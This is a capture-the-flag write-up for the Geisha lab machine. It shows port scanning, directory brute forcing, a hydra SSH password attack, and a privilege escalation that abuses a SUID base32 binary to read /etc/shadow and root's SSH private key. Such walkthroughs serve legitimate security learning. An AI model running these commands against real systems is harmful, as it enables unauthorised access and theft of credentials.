> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/pg-play-or-vulnhub/linux/geisha.md).

# Geisha

## Nmap

```
sudo nmap 192.168.152.82 -p- -sS -sV                            

PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           vsftpd 3.0.3
22/tcp   open     ssh           OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open     http          Apache httpd 2.4.38 ((Debian))
7080/tcp open     ssl/empowerid LiteSpeed
7125/tcp open     http          nginx 1.17.10
8088/tcp open     http          LiteSpeed httpd
9198/tcp filtered unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

This one is a little bit tricky as we have multiple web servers which all appear to land us on the same page:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-eb2ebdece7212ce58bef0c5f1102e5f90521cb09%2Fimage.png?alt=media)

I put all the web server ports and addresses into a text file called list.txt and used `dirsearch.py` to run through each target.

```
python3 dirsearch.py -l list.txt  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 60 --full-url
```

After some time we get an interesting hit on port 7125.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b26076e2728900ba46b3c20adf3c5f0d49748b13%2Fimage.png?alt=media)

I browsed to the URL and downloaded passwd.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-8fbbb5eb59429616f7a4a2735919fac6dfee043b%2Fimage.png?alt=media)

From this we do know the user geisha exists on the system and can start to brute force the user. Running hydra against `SSH` we soon get a valid hit.

```
hydra -l geisha -P /usr/share/wordlists/rockyou.txt ssh://192.168.152.82
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-06fc53db9f403cf6f63aac02c64fd4ca5a6af98e%2Fimage.png?alt=media)

We now have `SSH` access as the user.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-cff0ed564838d161c4e470e8339c95703d78c529%2Fimage.png?alt=media)

As per usual I transferred over `linpeas` to the machine and after running we have identified the SUID bit being set on the base32 binary.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-8acac8e3391486e16cf2bae034c5436781db1a33%2Fimage.png?alt=media)

According to [GTFOBins ](https://gtfobins.github.io/gtfobins/base32/)we can take advantage of this to perform privileged file reads.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-79c3439b70c75a7548a319c9a8ce327d64ca6969%2Fimage.png?alt=media)

Initially I used this to read the /etc/shadow file. However, I was unable to crack the password with rockyou.txt.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-af574567f0f78f9bac2882ec78f41750add4ab94%2Fimage.png?alt=media)

Now we could use this to read the proof.txt flag but, we are not really done until we gain a root shell. I decided to have a stab at the root account having a id\_rsa key.

```
/usr/bin/base32 /root/.ssh/id_rsa | base32 --decode
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-a08362133211a3ecb190bb4e88a4bb5e6a519d63%2Fimage.png?alt=media)

I then transferred the key over to my attacking machine and used `chmod` to set appropriate permissions.

```
chmod 600 id_rsa
```

Then used the id\_rsa key to connect in as root on SSH.

```
ssh -i id_rsa root@192.168.152.82 
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-a8cf541d870a049772cbfd937e6eec7a0d63ca28%2Fimage.png?alt=media)